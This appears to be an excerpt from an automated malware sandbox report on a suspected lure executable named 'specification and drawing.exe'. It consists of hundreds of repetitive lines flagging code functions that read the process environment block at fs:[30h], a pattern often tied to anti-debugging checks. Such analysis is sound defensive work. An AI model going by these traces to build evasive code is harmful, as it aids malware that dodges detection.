Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01162000 mov eax, dword ptr fs:[00000030h]	4_2_01162000
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01162000 mov eax, dword ptr fs:[00000030h]	4_2_01162000
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01162000 mov eax, dword ptr fs:[00000030h]	4_2_01162000
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01162000 mov eax, dword ptr fs:[00000030h]	4_2_01162000
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01162000 mov eax, dword ptr fs:[00000030h]	4_2_01162000
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010DE016 mov eax, dword ptr fs:[00000030h]	4_2_010DE016
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010DE016 mov eax, dword ptr fs:[00000030h]	4_2_010DE016
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010DE016 mov eax, dword ptr fs:[00000030h]	4_2_010DE016
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010DE016 mov eax, dword ptr fs:[00000030h]	4_2_010DE016
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01156030 mov eax, dword ptr fs:[00000030h]	4_2_01156030
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010BA020 mov eax, dword ptr fs:[00000030h]	4_2_010BA020
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010BC020 mov eax, dword ptr fs:[00000030h]	4_2_010BC020
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01146050 mov eax, dword ptr fs:[00000030h]	4_2_01146050
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C2050 mov eax, dword ptr fs:[00000030h]	4_2_010C2050
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010EC073 mov eax, dword ptr fs:[00000030h]	4_2_010EC073
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C208A mov eax, dword ptr fs:[00000030h]	4_2_010C208A
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_011860B8 mov eax, dword ptr fs:[00000030h]	4_2_011860B8
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_011860B8 mov ecx, dword ptr fs:[00000030h]	4_2_011860B8
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_011580A8 mov eax, dword ptr fs:[00000030h]	4_2_011580A8
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_011420DE mov eax, dword ptr fs:[00000030h]	4_2_011420DE
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_011020F0 mov ecx, dword ptr fs:[00000030h]	4_2_011020F0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C80E9 mov eax, dword ptr fs:[00000030h]	4_2_010C80E9
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010BA0E3 mov ecx, dword ptr fs:[00000030h]	4_2_010BA0E3
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_011460E0 mov eax, dword ptr fs:[00000030h]	4_2_011460E0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010BC0F0 mov eax, dword ptr fs:[00000030h]	4_2_010BC0F0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FA30B mov eax, dword ptr fs:[00000030h]	4_2_010FA30B
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FA30B mov eax, dword ptr fs:[00000030h]	4_2_010FA30B
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FA30B mov eax, dword ptr fs:[00000030h]	4_2_010FA30B
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010BC310 mov ecx, dword ptr fs:[00000030h]	4_2_010BC310
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010E0310 mov ecx, dword ptr fs:[00000030h]	4_2_010E0310
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0114035C mov eax, dword ptr fs:[00000030h]	4_2_0114035C
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0114035C mov eax, dword ptr fs:[00000030h]	4_2_0114035C
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0114035C mov eax, dword ptr fs:[00000030h]	4_2_0114035C
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0114035C mov ecx, dword ptr fs:[00000030h]	4_2_0114035C
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0114035C mov eax, dword ptr fs:[00000030h]	4_2_0114035C
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0114035C mov eax, dword ptr fs:[00000030h]	4_2_0114035C
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0118A352 mov eax, dword ptr fs:[00000030h]	4_2_0118A352
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01142349 mov eax, dword ptr fs:[00000030h]	4_2_01142349
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01142349 mov eax, dword ptr fs:[00000030h]	4_2_01142349
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01142349 mov eax, dword ptr fs:[00000030h]	4_2_01142349
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01142349 mov eax, dword ptr fs:[00000030h]	4_2_01142349
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01142349 mov eax, dword ptr fs:[00000030h]	4_2_01142349
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01142349 mov eax, dword ptr fs:[00000030h]	4_2_01142349
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01142349 mov eax, dword ptr fs:[00000030h]	4_2_01142349
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01142349 mov eax, dword ptr fs:[00000030h]	4_2_01142349
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01142349 mov eax, dword ptr fs:[00000030h]	4_2_01142349
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01142349 mov eax, dword ptr fs:[00000030h]	4_2_01142349
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01142349 mov eax, dword ptr fs:[00000030h]	4_2_01142349
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01142349 mov eax, dword ptr fs:[00000030h]	4_2_01142349
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01142349 mov eax, dword ptr fs:[00000030h]	4_2_01142349
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01142349 mov eax, dword ptr fs:[00000030h]	4_2_01142349
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01142349 mov eax, dword ptr fs:[00000030h]	4_2_01142349
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0116437C mov eax, dword ptr fs:[00000030h]	4_2_0116437C
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010E438F mov eax, dword ptr fs:[00000030h]	4_2_010E438F
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010E438F mov eax, dword ptr fs:[00000030h]	4_2_010E438F
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010BE388 mov eax, dword ptr fs:[00000030h]	4_2_010BE388
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010BE388 mov eax, dword ptr fs:[00000030h]	4_2_010BE388
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010BE388 mov eax, dword ptr fs:[00000030h]	4_2_010BE388
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010B8397 mov eax, dword ptr fs:[00000030h]	4_2_010B8397
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010B8397 mov eax, dword ptr fs:[00000030h]	4_2_010B8397
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010B8397 mov eax, dword ptr fs:[00000030h]	4_2_010B8397
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_011643D4 mov eax, dword ptr fs:[00000030h]	4_2_011643D4
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_011643D4 mov eax, dword ptr fs:[00000030h]	4_2_011643D4
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010CA3C0 mov eax, dword ptr fs:[00000030h]	4_2_010CA3C0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010CA3C0 mov eax, dword ptr fs:[00000030h]	4_2_010CA3C0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010CA3C0 mov eax, dword ptr fs:[00000030h]	4_2_010CA3C0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010CA3C0 mov eax, dword ptr fs:[00000030h]	4_2_010CA3C0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010CA3C0 mov eax, dword ptr fs:[00000030h]	4_2_010CA3C0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010CA3C0 mov eax, dword ptr fs:[00000030h]	4_2_010CA3C0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C83C0 mov eax, dword ptr fs:[00000030h]	4_2_010C83C0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C83C0 mov eax, dword ptr fs:[00000030h]	4_2_010C83C0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C83C0 mov eax, dword ptr fs:[00000030h]	4_2_010C83C0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C83C0 mov eax, dword ptr fs:[00000030h]	4_2_010C83C0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_011463C0 mov eax, dword ptr fs:[00000030h]	4_2_011463C0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0117C3CD mov eax, dword ptr fs:[00000030h]	4_2_0117C3CD
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D03E9 mov eax, dword ptr fs:[00000030h]	4_2_010D03E9
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D03E9 mov eax, dword ptr fs:[00000030h]	4_2_010D03E9
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D03E9 mov eax, dword ptr fs:[00000030h]	4_2_010D03E9
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D03E9 mov eax, dword ptr fs:[00000030h]	4_2_010D03E9
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D03E9 mov eax, dword ptr fs:[00000030h]	4_2_010D03E9
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D03E9 mov eax, dword ptr fs:[00000030h]	4_2_010D03E9
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D03E9 mov eax, dword ptr fs:[00000030h]	4_2_010D03E9
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D03E9 mov eax, dword ptr fs:[00000030h]	4_2_010D03E9
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010F63FF mov eax, dword ptr fs:[00000030h]	4_2_010F63FF
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010DE3F0 mov eax, dword ptr fs:[00000030h]	4_2_010DE3F0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010DE3F0 mov eax, dword ptr fs:[00000030h]	4_2_010DE3F0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010DE3F0 mov eax, dword ptr fs:[00000030h]	4_2_010DE3F0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010B823B mov eax, dword ptr fs:[00000030h]	4_2_010B823B
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C6259 mov eax, dword ptr fs:[00000030h]	4_2_010C6259
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01148243 mov eax, dword ptr fs:[00000030h]	4_2_01148243
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01148243 mov ecx, dword ptr fs:[00000030h]	4_2_01148243
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010BA250 mov eax, dword ptr fs:[00000030h]	4_2_010BA250
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010B826B mov eax, dword ptr fs:[00000030h]	4_2_010B826B
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01170274 mov eax, dword ptr fs:[00000030h]	4_2_01170274
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01170274 mov eax, dword ptr fs:[00000030h]	4_2_01170274
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01170274 mov eax, dword ptr fs:[00000030h]	4_2_01170274
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01170274 mov eax, dword ptr fs:[00000030h]	4_2_01170274
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01170274 mov eax, dword ptr fs:[00000030h]	4_2_01170274
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01170274 mov eax, dword ptr fs:[00000030h]	4_2_01170274
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01170274 mov eax, dword ptr fs:[00000030h]	4_2_01170274
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01170274 mov eax, dword ptr fs:[00000030h]	4_2_01170274
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01170274 mov eax, dword ptr fs:[00000030h]	4_2_01170274
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01170274 mov eax, dword ptr fs:[00000030h]	4_2_01170274
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01170274 mov eax, dword ptr fs:[00000030h]	4_2_01170274
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01170274 mov eax, dword ptr fs:[00000030h]	4_2_01170274
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C4260 mov eax, dword ptr fs:[00000030h]	4_2_010C4260
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C4260 mov eax, dword ptr fs:[00000030h]	4_2_010C4260
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C4260 mov eax, dword ptr fs:[00000030h]	4_2_010C4260
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FE284 mov eax, dword ptr fs:[00000030h]	4_2_010FE284
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FE284 mov eax, dword ptr fs:[00000030h]	4_2_010FE284
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01140283 mov eax, dword ptr fs:[00000030h]	4_2_01140283
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01140283 mov eax, dword ptr fs:[00000030h]	4_2_01140283
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01140283 mov eax, dword ptr fs:[00000030h]	4_2_01140283
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_011562A0 mov eax, dword ptr fs:[00000030h]	4_2_011562A0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_011562A0 mov ecx, dword ptr fs:[00000030h]	4_2_011562A0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_011562A0 mov eax, dword ptr fs:[00000030h]	4_2_011562A0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_011562A0 mov eax, dword ptr fs:[00000030h]	4_2_011562A0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_011562A0 mov eax, dword ptr fs:[00000030h]	4_2_011562A0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_011562A0 mov eax, dword ptr fs:[00000030h]	4_2_011562A0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010CA2C3 mov eax, dword ptr fs:[00000030h]	4_2_010CA2C3
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010CA2C3 mov eax, dword ptr fs:[00000030h]	4_2_010CA2C3
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010CA2C3 mov eax, dword ptr fs:[00000030h]	4_2_010CA2C3
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010CA2C3 mov eax, dword ptr fs:[00000030h]	4_2_010CA2C3
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010CA2C3 mov eax, dword ptr fs:[00000030h]	4_2_010CA2C3
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D02E1 mov eax, dword ptr fs:[00000030h]	4_2_010D02E1
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D02E1 mov eax, dword ptr fs:[00000030h]	4_2_010D02E1
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D02E1 mov eax, dword ptr fs:[00000030h]	4_2_010D02E1
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01156500 mov eax, dword ptr fs:[00000030h]	4_2_01156500
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01194500 mov eax, dword ptr fs:[00000030h]	4_2_01194500
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01194500 mov eax, dword ptr fs:[00000030h]	4_2_01194500
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01194500 mov eax, dword ptr fs:[00000030h]	4_2_01194500
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01194500 mov eax, dword ptr fs:[00000030h]	4_2_01194500
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01194500 mov eax, dword ptr fs:[00000030h]	4_2_01194500
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01194500 mov eax, dword ptr fs:[00000030h]	4_2_01194500
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01194500 mov eax, dword ptr fs:[00000030h]	4_2_01194500
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010EE53E mov eax, dword ptr fs:[00000030h]	4_2_010EE53E
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010EE53E mov eax, dword ptr fs:[00000030h]	4_2_010EE53E
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010EE53E mov eax, dword ptr fs:[00000030h]	4_2_010EE53E
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010EE53E mov eax, dword ptr fs:[00000030h]	4_2_010EE53E
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010EE53E mov eax, dword ptr fs:[00000030h]	4_2_010EE53E
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D0535 mov eax, dword ptr fs:[00000030h]	4_2_010D0535
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D0535 mov eax, dword ptr fs:[00000030h]	4_2_010D0535
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D0535 mov eax, dword ptr fs:[00000030h]	4_2_010D0535
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D0535 mov eax, dword ptr fs:[00000030h]	4_2_010D0535
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D0535 mov eax, dword ptr fs:[00000030h]	4_2_010D0535
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010D0535 mov eax, dword ptr fs:[00000030h]	4_2_010D0535
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C8550 mov eax, dword ptr fs:[00000030h]	4_2_010C8550
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C8550 mov eax, dword ptr fs:[00000030h]	4_2_010C8550
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010F656A mov eax, dword ptr fs:[00000030h]	4_2_010F656A
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010F656A mov eax, dword ptr fs:[00000030h]	4_2_010F656A
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010F656A mov eax, dword ptr fs:[00000030h]	4_2_010F656A
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010F4588 mov eax, dword ptr fs:[00000030h]	4_2_010F4588
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C2582 mov eax, dword ptr fs:[00000030h]	4_2_010C2582
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C2582 mov ecx, dword ptr fs:[00000030h]	4_2_010C2582
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FE59C mov eax, dword ptr fs:[00000030h]	4_2_010FE59C
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_011405A7 mov eax, dword ptr fs:[00000030h]	4_2_011405A7
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_011405A7 mov eax, dword ptr fs:[00000030h]	4_2_011405A7
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_011405A7 mov eax, dword ptr fs:[00000030h]	4_2_011405A7
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010E45B1 mov eax, dword ptr fs:[00000030h]	4_2_010E45B1
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010E45B1 mov eax, dword ptr fs:[00000030h]	4_2_010E45B1
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FE5CF mov eax, dword ptr fs:[00000030h]	4_2_010FE5CF
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FE5CF mov eax, dword ptr fs:[00000030h]	4_2_010FE5CF
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C65D0 mov eax, dword ptr fs:[00000030h]	4_2_010C65D0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FA5D0 mov eax, dword ptr fs:[00000030h]	4_2_010FA5D0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FA5D0 mov eax, dword ptr fs:[00000030h]	4_2_010FA5D0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FC5ED mov eax, dword ptr fs:[00000030h]	4_2_010FC5ED
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FC5ED mov eax, dword ptr fs:[00000030h]	4_2_010FC5ED
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010EE5E7 mov eax, dword ptr fs:[00000030h]	4_2_010EE5E7
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010EE5E7 mov eax, dword ptr fs:[00000030h]	4_2_010EE5E7
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010EE5E7 mov eax, dword ptr fs:[00000030h]	4_2_010EE5E7
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010EE5E7 mov eax, dword ptr fs:[00000030h]	4_2_010EE5E7
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010EE5E7 mov eax, dword ptr fs:[00000030h]	4_2_010EE5E7
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010EE5E7 mov eax, dword ptr fs:[00000030h]	4_2_010EE5E7
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010EE5E7 mov eax, dword ptr fs:[00000030h]	4_2_010EE5E7
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010EE5E7 mov eax, dword ptr fs:[00000030h]	4_2_010EE5E7
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C25E0 mov eax, dword ptr fs:[00000030h]	4_2_010C25E0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010F8402 mov eax, dword ptr fs:[00000030h]	4_2_010F8402
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010F8402 mov eax, dword ptr fs:[00000030h]	4_2_010F8402
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010F8402 mov eax, dword ptr fs:[00000030h]	4_2_010F8402
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010BE420 mov eax, dword ptr fs:[00000030h]	4_2_010BE420
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010BE420 mov eax, dword ptr fs:[00000030h]	4_2_010BE420
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010BE420 mov eax, dword ptr fs:[00000030h]	4_2_010BE420
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010BC427 mov eax, dword ptr fs:[00000030h]	4_2_010BC427
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01146420 mov eax, dword ptr fs:[00000030h]	4_2_01146420
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01146420 mov eax, dword ptr fs:[00000030h]	4_2_01146420
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01146420 mov eax, dword ptr fs:[00000030h]	4_2_01146420
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01146420 mov eax, dword ptr fs:[00000030h]	4_2_01146420
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01146420 mov eax, dword ptr fs:[00000030h]	4_2_01146420
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01146420 mov eax, dword ptr fs:[00000030h]	4_2_01146420
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01146420 mov eax, dword ptr fs:[00000030h]	4_2_01146420
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FA430 mov eax, dword ptr fs:[00000030h]	4_2_010FA430
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FE443 mov eax, dword ptr fs:[00000030h]	4_2_010FE443
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FE443 mov eax, dword ptr fs:[00000030h]	4_2_010FE443
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FE443 mov eax, dword ptr fs:[00000030h]	4_2_010FE443
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FE443 mov eax, dword ptr fs:[00000030h]	4_2_010FE443
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FE443 mov eax, dword ptr fs:[00000030h]	4_2_010FE443
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FE443 mov eax, dword ptr fs:[00000030h]	4_2_010FE443
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FE443 mov eax, dword ptr fs:[00000030h]	4_2_010FE443
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FE443 mov eax, dword ptr fs:[00000030h]	4_2_010FE443
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010E245A mov eax, dword ptr fs:[00000030h]	4_2_010E245A
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010B645D mov eax, dword ptr fs:[00000030h]	4_2_010B645D
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0114C460 mov ecx, dword ptr fs:[00000030h]	4_2_0114C460
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010EA470 mov eax, dword ptr fs:[00000030h]	4_2_010EA470
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010EA470 mov eax, dword ptr fs:[00000030h]	4_2_010EA470
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010EA470 mov eax, dword ptr fs:[00000030h]	4_2_010EA470
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0114A4B0 mov eax, dword ptr fs:[00000030h]	4_2_0114A4B0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C64AB mov eax, dword ptr fs:[00000030h]	4_2_010C64AB
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010F44B0 mov ecx, dword ptr fs:[00000030h]	4_2_010F44B0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C04E5 mov ecx, dword ptr fs:[00000030h]	4_2_010C04E5
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FC700 mov eax, dword ptr fs:[00000030h]	4_2_010FC700
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C0710 mov eax, dword ptr fs:[00000030h]	4_2_010C0710
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010F0710 mov eax, dword ptr fs:[00000030h]	4_2_010F0710
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0113C730 mov eax, dword ptr fs:[00000030h]	4_2_0113C730
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FC720 mov eax, dword ptr fs:[00000030h]	4_2_010FC720
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010FC720 mov eax, dword ptr fs:[00000030h]	4_2_010FC720
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010F273C mov eax, dword ptr fs:[00000030h]	4_2_010F273C
